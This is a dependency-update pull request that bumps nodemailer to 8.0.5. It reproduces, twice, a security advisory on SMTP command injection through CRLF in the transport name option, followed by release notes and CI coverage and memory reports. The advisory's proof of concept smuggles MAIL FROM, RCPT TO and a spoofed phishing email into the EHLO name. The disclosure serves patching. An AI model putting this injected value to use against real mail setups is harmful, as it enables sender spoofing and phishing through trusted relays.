fix(deps): update dependency nodemailer to v8.0.5 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	8.0.4 → 8.0.5

GitHub Vulnerability Alerts

GHSA-vvjj-xcjg-gr5g

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

• Multi-tenant SaaS platforms with per-tenant SMTP configuration
• Admin panels where SMTP hostname/name settings are stored in databases
• Applications loading SMTP config from environment variables or external sources

What can an attacker do:

1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
2. Spoof email senders by injecting arbitrary From headers in the DATA portion
3. Conduct phishing attacks using the legitimate SMTP server as a relay
4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

---

Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

GHSA-vvjj-xcjg-gr5g

More information

Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

• Multi-tenant SaaS platforms with per-tenant SMTP configuration
• Admin panels where SMTP hostname/name settings are stored in databases
• Applications loading SMTP config from environment variables or external sources

What can an attacker do:

1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
2. Spoof email senders by injecting arbitrary From headers in the DATA portion
3. Conduct phishing attacks using the legitimate SMTP server as a relay
4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Severity

• CVSS Score: 4.9 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

References

• https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g
• https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e
• https://github.com/nodemailer/nodemailer
• https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.5

Compare Source

Bug Fixes

• decode SMTP server responses as UTF-8 at line boundary (95876b1)
• sanitize CRLF in transport name option to prevent SMTP command injection (GHSA-vvjj-xcjg-gr5g) (0a43876)

---

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---

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[github-actions]

このPRによるapi.jsonの差分
差分はありません。
Get diff files from Workflow Page

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 63.64%. Comparing base (c9c6ef2) to head (db662f8).

Additional details and impacted files

@@             Coverage Diff             @@
##           develop   #17265      +/-   ##
===========================================
- Coverage    63.67%   63.64%   -0.03%     
===========================================
  Files         1162     1162              
  Lines       116490   116490              
  Branches      8470     8454      -16     
===========================================
- Hits         74175    74142      -33     
- Misses       40110    40142      +32     
- Partials      2205     2206       +1     

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[github-actions]

Backend memory usage comparison

Before GC

Metric	base (MB)	head (MB)	Diff (MB)	Diff (%)
VmRSS	321.56 MB	339.70 MB	+18.13 MB	+5.63%
VmHWM	321.56 MB	339.70 MB	+18.13 MB	+5.63%
VmSize	23114.10 MB	23115.02 MB	0.91 MB	0%
VmData	1384.28 MB	1386.16 MB	+1.87 MB	+0.13%

After GC

Metric	base (MB)	head (MB)	Diff (MB)	Diff (%)
VmRSS	321.57 MB	339.71 MB	+18.14 MB	+5.64%
VmHWM	321.57 MB	339.71 MB	+18.14 MB	+5.64%
VmSize	23114.10 MB	23115.02 MB	0.91 MB	0%
VmData	1384.28 MB	1386.24 MB	+1.95 MB	+0.14%

After Request

Metric	base (MB)	head (MB)	Diff (MB)	Diff (%)
VmRSS	321.84 MB	339.96 MB	+18.12 MB	+5.63%
VmHWM	321.84 MB	339.96 MB	+18.12 MB	+5.63%
VmSize	23114.19 MB	23115.02 MB	0.83 MB	0%
VmData	1384.37 MB	1386.16 MB	+1.79 MB	+0.12%

⚠️ Warning: Memory usage has increased by more than 5%. Please verify this is not an unintended change.

See workflow logs for details